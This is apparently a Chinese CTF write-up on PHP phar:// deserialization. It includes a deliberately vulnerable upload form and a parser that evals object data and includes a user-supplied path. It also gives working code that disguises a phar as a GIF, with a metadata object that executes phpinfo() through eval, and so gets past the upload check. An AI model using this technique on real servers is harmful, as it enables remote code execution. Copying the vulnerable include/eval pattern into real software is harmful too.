前段時間打了個護網杯,題目質量是真的高,肉雞又菜了一整場,遇到了一個不太會的東西,復現了一波,記錄下好吧。
這個鬼東西就是phar://的序列化的漏洞
介紹一下
phar://跟php://filter 、data://那些一樣,都是流包裝,可以將一組php文件進行打包,可以創建默認執行的stub
stub
就是一個標誌,格式xxx<?php xxxxx; __HALT_COMPILER();?>,結尾一定是__HALT_COMPILER();?>,不然phar識別不了phar文件
舉個栗子
先看一下phar怎麼用
class TestObject{
}
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$o = new TestObject();
$o -> data = 'h4ck3r';
$phar -> setMetadata($o);
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();
執行以後同級目錄下會有一個phar.phar文件,丟去二進制編輯器
嗯,沒毛病,確實看到了序列化後的對象
對應的,就會有反序列化的操作,php一大部分文件系統函數在通過phar://僞協議解析的時候,都會將meta-data進行反序列化,影響函數如下
將我們上面生成的phar.phar反序列化一下
class TestObject{
function __destruct()
{
echo $this->data;
}
}
include ('phar://phar.phar');
嗯,瀏覽器也確實輸出出來了
再來個栗子
用phar僞裝一下其他文件,因爲php識別phar文件是通過stub來的,那樣的話我們只需要在__HALT_COMPILER();?>前面加多一個其他文件的頭,就可以僞裝了
來個大的示範好吧
前端的上傳頁面
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ea3y_upload_file</title>
</head>
<body>
<form action="http://localhost/ctf/phar/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="upload" />
</form>
</body>
</html>
後臺的檢測頁面,先限制好只能傳gif
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"]."<br>";
echo "Type: " . $_FILES["file"]["type"]."<br>";
echo "Temp file: " . $_FILES["file"]["tmp_name"]."<br>";
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
後臺解析文件的php
$filename=$_GET['filename'];
class AnyClass{
function __destruct()
{
eval($this ->data);
}
}
include ($filename);
emmm,可以看到,類裏面有個魔幻函數,同時還有一句eval,甚至還能給你一句include,沒錯,就是它了
自己打一個生成phar的文件
class AnyClass{
function __destruct()
{
eval($this -> data);
}
}
$phar = new Phar('phar2.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> data = 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
可以看到,stub前面已經加了gif頭,類裏面的參數是phpinfo,如果最後能利用的話就會輸出php的信息
執行一下可以看到生成phar2.phar文件,改下後綴成gif文件,然後上傳,最後訪問
嗯,確實是可以看到php的信息,phar協議真的強無敵啊,輕輕鬆鬆就繞過了服務器的檢測好吧,牛逼牛逼